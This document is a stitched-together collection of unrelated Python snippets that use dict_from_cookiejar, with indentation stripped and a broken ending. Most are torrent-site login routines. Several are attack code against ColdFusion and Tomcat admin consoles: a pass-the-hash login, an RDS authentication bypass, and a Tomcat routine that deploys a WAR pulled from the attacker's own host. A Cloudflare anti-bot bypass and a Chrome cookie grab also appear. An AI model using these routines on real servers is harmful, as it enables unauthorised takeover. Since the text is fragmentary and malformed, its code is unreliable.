def login(self):
"""Login method used for logging in before doing search and torrent downloads."""
if any(dict_from_cookiejar(self.session.cookies).values()):
return True
if 'pass' in dict_from_cookiejar(self.session.cookies):
return True
login_html = self.session.get(self.urls['login'])
with BS4Parser(login_html.text, 'html5lib') as html:
token = html.find('input', attrs={'name': '_token'}).get('value')
login_params = {
'_token': token,
'email_username': self.username,
'password': self.password,
'remember': 1,
'submit': 'Login',
}
response = self.session.post(self.urls['login'], data=login_params)
if not response or not response.text:
log.warning('Unable to connect to provider')
return False
if 'These credentials do not match our records.' in response.text:
log.warning('Invalid username or password. Check your settings')
return False
return True
def _getBasicURI(self, uri, values=None):
'''
Perform a GET/POST to a URI
'''
# POST if data is present, otherwise GET.
if values is None:
if self.debug:
print('GET on: ', self._baseurl+uri)
print(dict_from_cookiejar(self.opener.cookies))
response = self.opener.get(self._baseurl+uri)
else:
if self.debug:
print('POST on: ', self._baseurl+uri)
print(dict_from_cookiejar(self.opener.cookies))
response = self.opener.post(self._baseurl+uri, data=values)
if self.debug:
print('Final URL:', response.url)
print(dict_from_cookiejar(self.opener.cookies))
# Save the cookies.
with open(self._cookiefile, 'wb') as h:
pickle.dump(dict_from_cookiejar(self.opener.cookies), h)
# Return the response object.
return response
def post(self,
url,
headers=None,
cookies=None,
timeout=30,
data={},
verify=False,
proxies=None):
if self.session:
r = self.session.post(
url,
headers=OrderDict(headers),
cookies=cookies,
timeout=timeout,
data=data,
verify=verify,
proxies=proxies)
r.raise_for_status()
r.encoding = 'utf-8'
return r.text, r.headers, dict_from_cookiejar(r.cookies), r.history
else:
r = requests.post(
url,
headers=OrderDict(headers),
cookies=cookies,
timeout=timeout,
data=data,
verify=verify,
proxies=proxies)
r.raise_for_status()
r.encoding = 'utf-8'
return r.text, r.headers, dict_from_cookiejar(r.cookies), r.history
def login(self):
if dict_from_cookiejar(self.session.cookies).get('uid') and dict_from_cookiejar(self.session.cookies).get('pass'):
return True
if self.cookies:
self.add_cookies_from_ui()
login_params = {
'username': self.username,
'password': self.password,
'submit.x': 0,
'submit.y': 0,
}
response = self.get_url(self.urls['login'], post_data=login_params, returns='response')
if response.status_code != 200:
logger.log('Unable to connect to provider', logger.WARNING)
return False
if re.search('You tried too often', response.text):
logger.log('Too many login access attempts', logger.WARNING)
return False
if (dict_from_cookiejar(self.session.cookies).get('uid') and
dict_from_cookiejar(self.session.cookies).get('uid') in response.text):
return True
else:
logger.log('Failed to login, check your cookies', logger.WARNING)
self.session.cookies.clear()
return False
def _auth(usr, pswd, url, version):
""" Authenticate to the remote ColdFusion server; bit of a pain
"""
if version in ['5.0']:
data = {'PasswordProvided_required':'You+must+provide+a+password.',
'PasswordProvided' : pswd,
'Submit' : 'Password'
}
elif version in ['6.0', '6.1']:
data = {
'cfadminPassword' : pswd,
'requestedURL' : '/CFIDE/administrator/index.cfm',
'submit' : 'Login'
}
elif version in ['7.0', '8.0', '9.0']:
salt = _salt(url)
hsh = hmac.new(salt, sha1(pswd).hexdigest().upper(), sha1).hexdigest().upper()
data = {"cfadminPassword" : hsh,
"requestedURL" : "/CFIDE/administrator/enter.cfm?",
"cfadminUserId" : usr,
"salt" : salt,
"submit" : "Login"
}
elif version in ['10.0', '11.0']:
hsh = sha1(pswd).hexdigest().upper()
data = {'cfadminPassword' : hsh,
'requestedURL' : '/CFIDE/administrator/enter.cfm?',
'cfadminUserId' : usr,
'submit' : 'Login'
}
try:
res = utility.requests_post(url, data=data)
if res.status_code is 200:
utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG)
if version in ['5.0']:
return (dict_from_cookiejar(res.cookies), None)
elif len(res.history) > 0:
return (dict_from_cookiejar(res.history[0].cookies), None)
except Exception, e:
utility.Msg("Error authenticating: %s" % e, LOG.ERROR)
return (None, None)
def attemptPTH(url, usr_auth):
""" In vulnerable instances of CF7-9, you can use --cf-hash to obtain
the remote server's hash and pass it.
"""
utility.Msg("Attempting to pass the hash..", LOG.DEBUG)
usr = None
pwhsh = None
if ':' in usr_auth:
(usr, pwhsh) = usr_auth.split(':')
else:
(usr, pwhsh) = "admin", usr_auth
salt = _salt(url)
hsh = hmac.new(salt, pwhsh, sha1).hexdigest().upper()
data = {"cfadminPassword" : hsh,
"requestedURL" : "/CFIDE/administrator/enter.cfm?",
"cfadminUserId" : usr,
"salt" : salt,
"submit" : "Login"
}
try:
res = utility.requests_post(url, data=data)
if res.status_code is 200 and len(res.history) > 0:
utility.Msg("Sucessfully passed the hash", LOG.DEBUG)
return (dict_from_cookiejar(res.history[0].cookies), None)
except Exception, e:
utility.Msg("Error authenticating: %s" % e, LOG.ERROR)
def login(self):
if any(dict_from_cookiejar(self.session.cookies).values()):
return True
login_params = {
'id': self.username,
'pass': self.password,
}
response = self.get_url(self.urls['login'], post_data=login_params, returns='response')
# The login is now an AJAX call (401 : Bad credentials, 200 : Logged in, other : server failure)
if not response or response.status_code != 200:
logger.log('Unable to connect to provider', logger.WARNING)
return False
else:
# It seems we are logged, let's verify that !
response = self.get_url(self.url, returns='response')
if response.status_code != 200:
logger.log('Unable to connect to provider', logger.WARNING)
return False
if 'logout' not in response.text:
logger.log('Invalid username or password. Check your settings', logger.WARNING)
return False
return True
def _auth(usr, pswd, ip, fingerprint):
""" Authenticate to j_security_check and return the cookie
"""
try:
base = "http://{0}:{1}".format(ip, fingerprint.port)
uri = "/console/j_security_check"
data = { "j_username" : usr,
"j_password" : pswd,
"j_character_encoding" : "UTF-8"
}
if fingerprint.title is WINTERFACES.WLS:
base = base.replace("http", "https")
response = utility.requests_post(base + uri, data=data)
if len(response.history) > 1:
cookies = dict_from_cookiejar(response.history[0].cookies)
if not cookies:
return False
else:
utility.Msg("Successfully authenticated with %s:%s" %
(usr, pswd), LOG.DEBUG)
return (cookies, None)
except Exception, e:
utility.Msg("Failed to authenticate: %s" % e)
def login(self):
if any(dict_from_cookiejar(self.session.cookies).values()):
return True
login_params = {
'username': self.username,
'password': self.password,
'take_login': '******'
}
response = self.get_url(self.urls['login'], post_data=login_params, returns='text')
if not response:
check_login = self.get_url(self.urls['base_url'], returns='text')
if re.search('account-logout.php', check_login):
return True
else:
logger.log(u"Unable to connect to provider", logger.WARNING)
return False
if re.search('account-login.php', response):
logger.log(u"Invalid username or password. Check your settings", logger.WARNING)
return False
return True
def login(self):
if any(dict_from_cookiejar(sickrage.app.wsession.cookies).values()):
return True
if self.token is not None:
if time.time() < (self.tokenLastUpdate + 30 * 60):
return True
login_params = {'username': self.username,
'password': self.password}
try:
response = sickrage.app.wsession.post(self.urls['login'], data=login_params, timeout=30,
auth=T411Auth(self.token)).json()
except Exception:
sickrage.app.log.warning("Unable to connect to provider".format(self.name))
return False
if 'token' in response:
self.token = response['token']
self.tokenLastUpdate = time.time()
self.uid = response['uid'].encode('ascii', 'ignore')
return True
else:
sickrage.app.log.warning("Token not found in authentication response")
return False
def login(self):
if any(dict_from_cookiejar(self.session.cookies).values()):
return True
login_params = {'username': self.username,
'password': self.password,
'login': '******'}
self.get_url(self.urls['login'], returns='text')
response = self.get_url(self.urls['login'], post_data=login_params, returns='text')
if not response:
logger.log(u"Unable to connect to provider", logger.WARNING)
return False
# Invalid username and password combination
if re.search('Invalid username and password combination', response):
logger.log(u"Invalid username or password. Check your settings", logger.WARNING)
return False
# You tried too often, please try again after 2 hours!
if re.search('You tried too often', response):
logger.log(u"You tried too often, please try again after 2 hours! Disable IPTorrents for at least 2 hours", logger.WARNING)
return False
return True
def login(self):
if any(dict_from_cookiejar(self.session.cookies).values()):
return True
login_params = {
'username': self.username,
'password': self.password,
'submit.x': 0,
'submit.y': 0
}
response = self.get_url(self.urls['login'], post_data=login_params, returns='text')
if not response:
logger.log('Unable to connect to provider', logger.WARNING)
return False
if re.search('Password not correct', response):
logger.log('Your login is incorrect', logger.WARNING)
return False
if re.search('You tried too often', response):
logger.log('Too many login access attempts', logger.WARNING)
return False
return True
def __init__(self, basename='edapi', cookiefile=None):
# Build common file names from basename.
self._basename = basename
if cookiefile:
self._cookiefile = cookiefile
else:
self._cookiefile = self._basename + '.cookies'
self._envfile = self._basename + '.vars'
# Setup the HTTP session.
self.opener = requests.Session()
self.opener.headers = {
'User-Agent': self._agent
}
# Read/create the cookie jar.
if os.path.exists(self._cookiefile):
try:
with open(self._cookiefile, 'rb') as h:
self.opener.cookies = cookiejar_from_dict(pickle.load(h))
except:
print('Cookie files exists, but is unreadable.')
else:
with open(self._cookiefile, 'wb') as h:
pickle.dump(dict_from_cookiejar(self.opener.cookies), h)
# Grab the commander profile
self.response = self._getURI('profile')
def __init__(self, login, password, cookies=None, db_session=None):
if cookies is None:
log.debug('rutracker cookie not found. Requesting new one')
payload_ = {'login_username': login,
'login_password': password, 'login': '******'}
auth_response = post(
"http://login.rutracker.org/forum/login.php", data=payload_, follow_redirects=True,
cookies=cookiejar_from_dict({'spylog_test': '1'}))
if len(auth_response.cookies) == 0 or auth_response.cookies is None:
log.fatal('unable to obtain cookies from rutracker')
raise PluginError('unable to obtain cookies from rutracker')
self.cookies_ = auth_response.cookies
if db_session:
db_session.add(
RutrackerAccount(
login=login, cookies=dict_from_cookiejar(
self.cookies_),
expiry_time=datetime.now() + timedelta(days=1)))
db_session.commit()
else:
raise ValueError(
'db_session can not be None if cookies is None')
else:
log.debug('Using previously saved cookie')
self.cookies_ = cookies
def login(self):
"""Login method used for logging in before doing search and torrent downloads."""
cookies = dict_from_cookiejar(self.session.cookies)
if any(cookies.values()) and all([cookies.get('XTZ_USERNAME'), cookies.get('XTZ_PASSWORD'),
cookies.get('XTZUID')]):
return True
login_params = {
'username': self.username,
'password': self.password,
'form': 'login',
'rememberme[]': 1,
}
request = self.session.get(self.urls['login'])
if not hasattr(request, 'cookies'):
log.warning('Unable to retrieve the required cookies')
return False
response = self.session.post(self.urls['login'], data=login_params, cookies=request.cookies)
if not response or not response.text:
log.warning('Unable to connect to provider')
return False
if re.search(' Login', response.text):
log.warning('Invalid username or password. Check your settings')
return False
return True
def login(self):
if any(dict_from_cookiejar(self.session.cookies).values()):
return True
login_params = {
'username': self.username,
'password': self.password,
}
# Yay lets add another request to the process since they are unreasonable.
response = self.get_url(self.url, returns='text')
with BS4Parser(response, 'html5lib') as html:
form = html.find('form', id='loginform')
if form:
self.urls['login'] = urljoin(self.url, form['action'])
response = self.get_url(self.urls['login'], post_data=login_params, returns='text')
if not response:
logger.log("Unable to connect to provider", logger.WARNING)
return False
if re.search('Incorrect username or Password. Please try again.', response):
logger.log("Invalid username or password. Check your settings", logger.WARNING)
return False
return True
def login(self):
cookie_dict = dict_from_cookiejar(self.cookie_jar)
if cookie_dict.get('uid') and cookie_dict.get('pass'):
return True
if not self.add_cookies_from_ui():
return False
login_params = {'username': self.username, 'password': self.password, 'login': '******'}
response = sickrage.srCore.srWebSession.post(self.urls['login'], data=login_params, timeout=30)
if not response.ok:
sickrage.srCore.srLogger.warning("[{}]: Unable to connect to provider".format(self.name))
return False
# Invalid username and password combination
if re.search('Invalid username and password combination', response.text):
sickrage.srCore.srLogger.warning(u"Invalid username or password. Check your settings")
return False
# You tried too often, please try again after 2 hours!
if re.search('You tried too often', response.text):
sickrage.srCore.srLogger.warning(u"You tried too often, please try again after 2 hours! Disable IPTorrents for at least 2 hours")
return False
# Captcha!
if re.search('Captcha verification failed.', response.text):
sickrage.srCore.srLogger.warning(u"Stupid captcha")
return False
return True
def login(self):
"""Login method used for logging in before doing search and torrent downloads."""
cookies = dict_from_cookiejar(self.session.cookies)
if any(cookies.values()) and cookies.get('uid'):
return True
login_params = {
'username': self.username,
'password': self.password,
}
response = self.session.post(self.urls['login'], data=login_params)
if not response or not response.text:
log.warning('Unable to connect to provider')
return False
if response.text == 'OK':
return True
elif response.text == 'Banned':
log.warning('User {0} is banned from HeBits', self.username)
return False
elif response.text == 'MaxAttempts':
log.warning('Max number of login attempts exceeded - your IP is blocked')
return False
else:
log.warning('Invalid username or password. Check your settings')
return False
def _auth(usr, pswd, url):
"""
"""
res = utility.requests_get(url, auth=HTTPBasicAuth(usr, pswd))
if res.status_code is 200:
utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG)
return (dict_from_cookiejar(res.cookies), HTTPBasicAuth(usr, pswd))
def load_from_file(fname):
try:
with open(fname) as infile:
jar = pickle.load(infile)
if any([c.is_expired() for c in jar]):
return None
return dict_from_cookiejar(jar)
except Exception, e:
return None
def runLatter(self, fingerengine, fingerprint, smb_thread):
"""
"""
base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port)
uri = "/manager/html/deploy"
data = OrderedDict([
("deployPath", "/asdf"),
("deployConfig", ""),
("deployWar", "file://{0}/asdf.war".format(utility.local_address())),
])
cookies = None
nonce = None
# probe for auth
response = utility.requests_get(base + '/manager/html')
if response.status_code == 401:
utility.Msg("Host %s:%s requires auth, checking.." %
(fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
fingerprint.title, fingerprint.version)
if cookies:
response = utility.requests_get(base + '/manager/html',
cookies=cookies[0],
auth=cookies[1])
# get nonce
nonce = findall("CSRF_NONCE=(.*?)\"", response.content)
if len(nonce) > 0:
nonce = nonce[0]
# set new jsessionid
cookies = (dict_from_cookiejar(response.cookies), cookies[1])
else:
utility.Msg("Could not get auth for %s:%s" %
(fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
return
if response.status_code == 200:
try:
# all setup, now invoke
response = utility.requests_post(base + uri + \
'?org.apache.catalina.filters.CSRF_NONCE=%s' % nonce,
data = data, cookies=cookies[0],
auth=cookies[1])
except:
# timeout
pass
while smb_thread.is_alive():
# spin...
sleep(1)
def login(self):
cookie_dict = dict_from_cookiejar(self.cookie_jar)
if cookie_dict.get('uid') and cookie_dict.get('pass'):
return True
if not self.add_cookies_from_ui():
return False
login_params = {'username': self.username, 'password': self.password}
response = sickrage.srCore.srWebSession.post(self.urls['login'], data=login_params, timeout=30)
if not response.ok:
sickrage.srCore.srLogger.warning("[{}]: Unable to connect to provider".format(self.name))
return False
if not dict_from_cookiejar(sickrage.srCore.srWebSession.cookies).get('uid') in response.text:
sickrage.srCore.srLogger.warning("Failed to login, check your cookies")
return False
return True
def login(self):
if any(dict_from_cookiejar(self.session.cookies).values()):
return True
if 'pass' in dict_from_cookiejar(self.session.cookies):
return True
login_params = {'uid': self.username,
'pwd': self.password}
response = self.get_url(self.urls['login'], post_data=login_params, returns='text')
if not response:
logger.log(u"Unable to connect to provider", logger.WARNING)
return False
if re.search('Password Incorrect', response):
logger.log(u"Invalid username or password. Check your settings", logger.WARNING)
return False
return True
def get_session_token(self):
url = 'https://%s:8443/sdn/ui/app/login' % (self.target)
try:
r = post(url, headers={"User-Agent":self.user_agent},verify=False, data="username=%s&password=%s" % (self.username,self.password), allow_redirects=False)
if r.status_code == 303:
self.session_token = dict_from_cookiejar(r.cookies)['X-Auth-Token']
return True
except ConnectionError:
print '[!] Connection to target service failed.'
exit(1)
return False
def handle_grab(self, session, _response):
cookie = dict_from_cookiejar(session.cookies)
config = getattr(self.mod, "config", None)
if not config:
return
for key in config:
if key.startswith("cookie_"):
name = key[7:]
if name in cookie:
config[key] = cookie[name]
def login(self):
if any(dict_from_cookiejar(self.session.cookies).values()):
return True
login_params = {
'username': self.username,
'password': self.password,
}
if self._uid and self._hash:
add_dict_to_cookiejar(self.session.cookies, self.cookies)
else:
response = self.get_url(self.urls['login'], post_data=login_params, returns='text')
if not response:
logger.log('Unable to connect to provider', logger.WARNING)
return False
if re.search('/logout.php', response):
try:
if dict_from_cookiejar(self.session.cookies)['uid'] and \
dict_from_cookiejar(self.session.cookies)['pass']:
self._uid = dict_from_cookiejar(self.session.cookies)['uid']
self._hash = dict_from_cookiejar(self.session.cookies)['pass']
self.cookies = {'uid': self._uid,
'pass': self._hash}
return True
except Exception:
logger.log('Unable to login to provider (cookie)', logger.WARNING)
return False
else:
if re.search('Username does not exist in the userbase or the account is not confirmed yet.', response) or \
re.search('Username or password is incorrect. If you have an account here please use the'
' recovery system or try again.', response):
logger.log('Invalid username or password. Check your settings', logger.WARNING)
if re.search('DDoS protection by CloudFlare', response):
logger.log('Unable to login to provider due to CloudFlare DDoS javascript check', logger.WARNING)
return False
def attemptRDS(ip, port):
""" If version 9.x is found, we attempt to bypass authentication using
the RDS vulnerability (CVS-2013-0632)
"""
utility.Msg("Attempting RDS bypass...", LOG.DEBUG)
url = "http://{0}:{1}".format(ip, port)
uri = "/CFIDE/adminapi/administrator.cfc?method=login"
data = {
"adminpassword" : '',
"rdsPasswordAllowed" : 1
}
response = utility.requests_post(url + uri, data)
if response.status_code is 200 and "true" in response.content:
return (dict_from_cookiejar(response.cookies), None)
else:
# try it with rdsPasswordAllowed = 0
data['rdsPasswordAllowed'] = 0
response = utility.requests_post(url + uri, data)
if response.status_code is 200 and "true" in response.content:
return (dict_from_cookiejar(response.cookies), None)
def check_required_cookies(self):
"""
Check if we have the required cookies in the requests sessions object.
Meaning that we've already successfully authenticated once, and we don't need to go through this again.
Note! This doesn't mean the cookies are correct!
"""
if hasattr(self, 'required_cookies'):
return all(dict_from_cookiejar(self.session.cookies).get(cookie) for cookie in self.required_cookies)
# A reminder for the developer, implementing cookie based authentication.
sickrage.app.log.error(
'You need to configure the required_cookies attribute, for the provider: {}'.format(self.name))
def login(self):
if any(dict_from_cookiejar(self.session.cookies).values()):
return True
if 'pass' in dict_from_cookiejar(self.session.cookies):
return True
login_params = {'uid': self.username,
'pwd': self.password}
try:
response = self.session.post(self.urls['login'], data=login_params, timeout=30).text
except Exception:
sickrage.app.log.warning("Unable to connect to provider")
return False
if re.search('Password Incorrect', response):
sickrage.app.log.warning(
"Invalid username or password. Check your settings")
return False
return True
def _get_words_page(self):
response = self._session.get(URL_COPYBOOKS)
passport_urls = self._get_urls_containing(
response.content, URL_PART_PASSPORT)
if len(passport_urls) == 1:
response = self._auth(passport_urls[0])
elif len(passport_urls) > 1:
raise Exception('too many passport urls on the page, '
'dont know what to do')
save(response.content.decode('utf8'))
with open(self._cookies, 'w') as f:
pickle_dump(dict_from_cookiejar(self._session.cookies), f)
return response
def __init__(self, IG_Username): self.IGU = str(IG_Username) self.IDArr = [] self.cookies = bc3chrome(domain_name='.instagram.com') headers = CaseInsensitiveDict() headers["user-agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" openedcookies = dict_from_cookiejar(self.cookies) headers["x-csrftoken"] = openedcookies['csrftoken'] self.headers = headers
def attemptRDS(ip, port):
""" If version 9.x is found, we attempt to bypass authentication using
the RDS vulnerability (CVS-2013-0632)
"""
utility.Msg("Attempting RDS bypass...", LOG.DEBUG)
url = "http://{0}:{1}".format(ip, port)
uri = "/CFIDE/adminapi/administrator.cfc?method=login"
data = {
"adminpassword" : '',
"rdsPasswordAllowed" : 1
}
response = utility.requests_post(url + uri, data)
if response.status_code is 200 and "true" in response.content:
return (dict_from_cookiejar(response.cookies), None)
else:
# try it with rdsPasswordAllowed = 0
data['rdsPasswordAllowed'] = 0
response = utility.requests_post(url + uri, data)
if response.status_code is 200 and "true" in response.content:
return (dict_from_cookiejar(response.cookies), None)
def test_app_secure_cookies():
cookies_view.set_secure_cookie('test', '内容测试')
cookies_view.set_secure_cookie('test2', {'value': '内容测试'})
cookies_view.finish(RETCODE.SUCCESS)
cookies_jar = CookieJar()
for k, v in cookies_view.response.cookies.items():
cookies_jar.set_cookie(morsel_to_cookie(v))
cookies_view._request.cookies = dict_from_cookiejar(cookies_jar)
assert cookies_view.get_secure_cookie('test') == '内容测试'
assert cookies_view.get_secure_cookie('test2') == {'value': '内容测试'}
def _auth(usr, pswd, url, version):
"""
"""
authobj = HTTPBasicAuth
if version in ['7.0', '7.1', '8.0', '8.1']:
authobj = HTTPDigestAuth
res = utility.requests_get(url, auth=authobj(usr, pswd))
if res.status_code is 200:
utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG)
return (dict_from_cookiejar(res.cookies), authobj(usr, pswd))
def login(self):
if any(dict_from_cookiejar(self.session.cookies).values()):
return True
if 'pass' in dict_from_cookiejar(self.session.cookies):
return True
login_params = {'uid': self.username, 'pwd': self.password}
response = self.get_url(self.urls['login'],
post_data=login_params,
returns='text')
if not response:
logger.log("Unable to connect to provider", logger.WARNING)
return False
if re.search('Password Incorrect', response):
logger.log("Invalid username or password. Check your settings",
logger.WARNING)
return False
return True
def get_session_data(self) -> dict:
if not self.__logged_in:
raise RuntimeError(
'Cannot get session data since user is not logged in.')
session_data = {
'username': self.__username,
'cookies': dict_from_cookiejar(self.__session.cookies),
'wlanuserip': self.__wlanuserip,
'CSRFHW': self.__CSRFHW,
'ATTRIBUTE_UUID': self.__ATTRIBUTE_UUID
}
return session_data
def login(self):
if any(dict_from_cookiejar(self.session.cookies).values()):
return True
if 'pass' in dict_from_cookiejar(self.session.cookies):
return True
login_params = {'uid': self.username,
'pwd': self.password}
try:
response = self.session.post(self.urls['login'], data=login_params, timeout=30).text
except Exception:
sickrage.app.log.warning("Unable to connect to provider")
return False
if re.search('Password Incorrect', response):
sickrage.app.log.warning(
"Invalid username or password. Check your settings")
return False
return True
def login(self):
if any(dict_from_cookiejar(self.session.cookies).values()):
return True
if self._uid and self._hash:
add_dict_to_cookiejar(self.session.cookies, self.cookies)
else:
login_params = {'username': self.username,
'password': self.password,
'login': '******'}
response = self.get_url(self.urls['login'], post_data=login_params, timeout=30)
if not response:
logger.log(u"Unable to connect to provider", logger.WARNING)
return False
if re.search('/logout.php', response):
try:
if dict_from_cookiejar(self.session.cookies)['uid'] and dict_from_cookiejar(self.session.cookies)['pass']:
self._uid = dict_from_cookiejar(self.session.cookies)['uid']
self._hash = dict_from_cookiejar(self.session.cookies)['pass']
self.cookies = {'uid': self._uid,
'pass': self._hash}
return True
except Exception:
logger.log(u"Unable to login to provider (cookie)", logger.WARNING)
return False
else:
if re.search('Username does not exist in the userbase or the account is not confirmed yet.', response):
logger.log(u"Invalid username or password. Check your settings", logger.WARNING)
if re.search('DDoS protection by CloudFlare', response):
logger.log(u"Unable to login to provider due to CloudFlare DDoS javascript check", logger.WARNING)
return False
def _auth(usr, pswd, url, version):
"""
"""
authobj = HTTPBasicAuth
if version in ['7.0', '7.1', '8.0', '8.1']:
authobj = HTTPDigestAuth
res = utility.requests_get(url, auth=authobj(usr, pswd))
if res.status_code == 200:
utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd),
LOG.DEBUG)
return (dict_from_cookiejar(res.cookies), authobj(usr, pswd))
def cloudflare(resp, **kwargs):
"""
Bypass CloudFlare's anti-bot protection.
A response hook that retries a request after bypassing CloudFlare anti-bot
protection. Use the sessioned hook factory to attach the session to the
response to persist CloudFlare authentication at the session level.
"""
if all([resp.status_code == 503, # Service unavailable
resp.headers.get('server') == u'cloudflare-nginx', ]):
log.debug(u'CloudFlare protection detected, trying to bypass it')
# Get the session used or create a new one
session = getattr(resp, 'session', requests.Session())
# Get the original request
original_request = resp.request
# Avoid recursion by removing the hook from the original request
original_request.hooks['response'].remove(cloudflare)
# Get the CloudFlare tokens and original user-agent
tokens, user_agent = cfscrape.get_tokens(original_request.url)
# Add CloudFlare tokens to the session cookies
session.cookies.update(tokens)
# Add CloudFlare Tokens to the original request
original_cookies = dict_from_cookiejar(original_request._cookies)
original_cookies.update(tokens)
original_request.prepare_cookies(original_cookies)
# The same User-Agent must be used for the retry
# Update the session with the CloudFlare User-Agent
session.headers['User-Agent'] = user_agent
# Update the original request with the CloudFlare User-Agent
original_request.headers['User-Agent'] = user_agent
# Resend the request
cf_resp = session.send(
original_request,
allow_redirects=True,
**kwargs
)
if cf_resp.ok:
log.debug('CloudFlare successfully bypassed.')
return cf_resp
else:
return resp
def sys_check_login():
""" 登录检查,更新cookies
:return: loginByJS()/dict
"""
url = 'http://iservice.10010.com/e3/static/check/checklogin/?_=' + get_timestamp()
self.headers['Referer'] = 'http://iservice.10010.com/e3/query/call_dan.html?menuId=000100030001'
options = {'method': 'post', 'url': url, 'cookies': None, 'headers': self.headers}
response = Request.basic(options)
if response:
self.cookies.update(dict_from_cookiejar(response.cookies))
return login_by_js()
else:
return dict(code=4000, func='sys_check_login')
def _auth(usr, pswd, url, version):
""" Currently only auths to the admin interface
"""
data = {
"userName" : usr,
"password" : pswd,
"submit" : "+Login+"
}
response = utility.requests_post(url, data=data)
if response.status_code == 200 and not "name=\"password\"" in response.content:
utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG)
return dict_from_cookiejar(response.cookies)
def __init__(self, response: HTTPResponse) -> None:
self.status = response.status_code if response is not None else None
if response is not None:
self.elapsed = float("{}.{}".format(response.elapsed.seconds,
response.elapsed.microseconds))
else:
self.elapsed = 0.0
self.header = dict(response.headers) if response is not None else {}
self.response = response.text if response is not None else ''
self.cookies = dict_from_cookiejar(response.cookies)
try:
self.json = loads(response.text)
except Exception:
self.json = {}
def save_session(name, session):
from requests.utils import dict_from_cookiejar
if any(["Session" in x.__name__ for x in session.__class__.__mro__]):
try:
print("trf")
session.transfer_driver_cookies_to_session()
except Exception as e:
print("ERR", e)
session = {
"headers": session.headers,
"cookies": dict_from_cookiejar(session.cookies)
}
write(session, f"~/.just_sessions/" + name + ".json")
def get_course_by_id(self, semester_id):
data = {
'ignoreHead': 1,
'setting.kind': 'std',
'startWeek': 1,
'semesterId': semester_id,
'ids': self.get_course_ids()
}
_ = dict_from_cookiejar(self.r.cookies)
headers = {
'Cookie':
'JSESSIONID=%s; semester.id=%d' % (_['JSESSIONID'], semester_id)
}
_ = requests.post(
'http://eams.uestc.edu.cn/eams/courseTableForStd!courseTable.action',
data=data,
headers=headers)
# _ = self.r.post('http://eams.uestc.edu.cn/eams/courseTableForStd!courseTable.action', data=data, headers=self.headers)
if '请输入密码' in _.text:
print('登录失败,请使用JSESSIONID登录')
exit()
text = re.findall(
'activity\s=\snew\sTaskActivity\("(.*?)","(.*?)","(.*?)","(.*?)","(.*?)","(.*?)","(\d+)"\);\s+((index\s=\d*\*unitCount\+\d+;\s+table0\.activities\[index\]\[table0\.activities\[index\]\.length\]=activity;\s+)+)',
_.text)
ans = []
for i in text:
teacher_name = i[1]
course_name = i[3]
place = i[5]
week_len = len(i[6])
week = []
for w in range(0, week_len, 1):
if i[6][w] == '1':
week.append(w)
day = []
#
for sort in re.findall('index\s=(\d+)\*unitCount\+(\d+)', i[7]):
day.append({int(sort[0]) + 1: int(sort[1]) + 1})
_ = {
'teacher_name': teacher_name,
'course_name': course_name,
'place': place,
'week': week,
'day': day
}
ans.append(_)
return ans
'''
def cookie_gen(self):
"""This method generate an authentication cookie. It follow the current
session, but it's also save in self.cookie_jar_path."""
url = 'https://compteperso.leboncoin.fr/store/verify_login/0'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payload = {'st_username': self.profile['username'], 'st_passwd': self.profile['password']}
req_url = self.profile['session'].post(url, headers=headers, data=payload)
# Generate a soup
soup = BeautifulSoup(req_url.text, 'lxml')
if soup.find('span', 'error'):
print('Authentication failed...')
else:
with open(self.cookie_jar_path, 'w') as cookie_jar_file:
dump(dict_from_cookiejar(self.profile['session'].cookies), cookie_jar_file)
def login(self):
cookie_dict = dict_from_cookiejar(self.session.cookies)
if cookie_dict.get('uid') and cookie_dict.get('pass'):
return True
if self.cookies:
success, status = self.add_cookies_from_ui()
if not success:
logger.info(status)
return False
login_params = {'username': self.username, 'password': self.password}
response = self.get_url(self.urls['login'], post_data=login_params, returns='response')
if not response or response.status_code != 200:
logger.warning("Unable to connect to provider")
return False
if dict_from_cookiejar(self.session.cookies).get('uid') in response.text:
return True
else:
logger.warning('Failed to login, check your cookies')
return False
def visitSys():
""" 填充cookies
:return: getSessionID()/False
"""
url = 'http://shixin.court.gov.cn/'
options = {'method': 'get', 'url': url, 'headers': self.headers}
response = basicRequest(options)
if response:
self.cookies.update(dict_from_cookiejar(response.cookies))
# invoke next process
return getSessionID()
else:
return False
def login(self):
if any(dict_from_cookiejar(self.session.cookies).values()):
return True
if self._uid and self._hash:
add_dict_to_cookiejar(self.session.cookies, self.cookies)
else:
login_params = {
'username': self.username,
'password': self.password,
'submit.x': 0,
'submit.y': 0
}
response = self.get_url(self.urls['login'], post_data=login_params, timeout=30)
if not response:
logger.log(u"Unable to connect to provider", logger.WARNING)
return False
if re.search('You tried too often', response):
logger.log(u"Too many login access attempts", logger.WARNING)
return False
try:
if dict_from_cookiejar(self.session.cookies)['uid'] and dict_from_cookiejar(self.session.cookies)['pass']:
self._uid = dict_from_cookiejar(self.session.cookies)['uid']
self._hash = dict_from_cookiejar(self.session.cookies)['pass']
self.cookies = {'uid': self._uid,
'pass': self._hash}
return True
except Exception:
pass
logger.log(u"Unable to obtain cookie", logger.WARNING)
return False
def login(self):
cookie_dict = dict_from_cookiejar(self.session.cookies)
if cookie_dict.get('uid') and cookie_dict.get('pass'):
return True
if self.cookies:
success, status = self.add_cookies_from_ui()
if not success:
logger.log(status, logger.INFO)
return False
login_params = {'username': self.username, 'password': self.password, 'submit.x': 0, 'submit.y': 0}
login_url = self.urls['login']
if self.custom_url:
if not validators.url(self.custom_url):
logger.log("Invalid custom url: {0}".format(self.custom_url), logger.WARNING)
return False
login_url = urljoin(self.custom_url, self.urls['login'].split(self.url)[1])
response = self.get_url(login_url, post_data=login_params, returns='response')
if not response or response.status_code != 200:
logger.log('Unable to connect to provider', logger.WARNING)
return False
if re.search('You tried too often', response.text):
logger.log('Too many login access attempts', logger.WARNING)
return False
if dict_from_cookiejar(self.session.cookies).get('uid') in response.text:
return True
else:
logger.log('Failed to login, check your cookies', logger.WARNING)
return False
else:
